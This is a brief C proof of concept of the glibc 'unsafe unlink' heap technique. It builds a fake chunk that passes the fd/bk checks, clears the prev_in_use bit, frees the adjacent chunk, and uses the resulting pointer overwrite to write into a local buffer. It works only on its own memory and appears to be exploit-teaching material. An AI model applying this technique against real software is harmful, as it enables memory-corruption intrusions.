unsafe-unlink exploit
exploit works on most recent version of libc. on older versions of libc (before tcache) it's even more powerful.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
typedef struct chunk {
int64_t prev_size;
int64_t size;
struct chunk* fd;
struct chunk* bk;
} chunk;
uint64_t* c0_ptr;
int main() {
uint64_t* c1_ptr;
// don't use tcache or fastbin
c0_ptr = malloc(0x420);
c1_ptr = malloc(0x420);
chunk *c0 = (uint64_t*) c0_ptr - 2;
chunk *c1 = (uint64_t*) c1_ptr - 2;
// create fake chunk inside c0
chunk *fake_chunk = (chunk*) c0_ptr;
fake_chunk->size = c0->size - 0x10; // -0x10 for prev_size and size (fake chunk starts at c0[2])
// make sure fakechunk->bk->fd == fake_chunk
chunk *fd_eq_fake = (uint64_t*)&c0_ptr - 2;
assert(fd_eq_fake->fd == fake_chunk);
fake_chunk->bk = fd_eq_fake;
assert(fake_chunk->bk->fd == fake_chunk);
// make sure fakechunk->fd->bk == fake_chunk
chunk *bk_eq_fake = (uint64_t*)&c0_ptr - 3;
assert(bk_eq_fake->bk == fake_chunk);
fake_chunk->fd = bk_eq_fake;
assert(fake_chunk->fd->bk == fake_chunk);
// update following chunk metadata
c1->prev_size = 0x420;
c1->size &= ~1; // unset prev_in_use bit
free(c1_ptr);
char sens[8] = "Hello!~";
c0_ptr[3] = sens;
c0_ptr[0] = 0x0042414141414141L;
printf("%s\n", sens);
}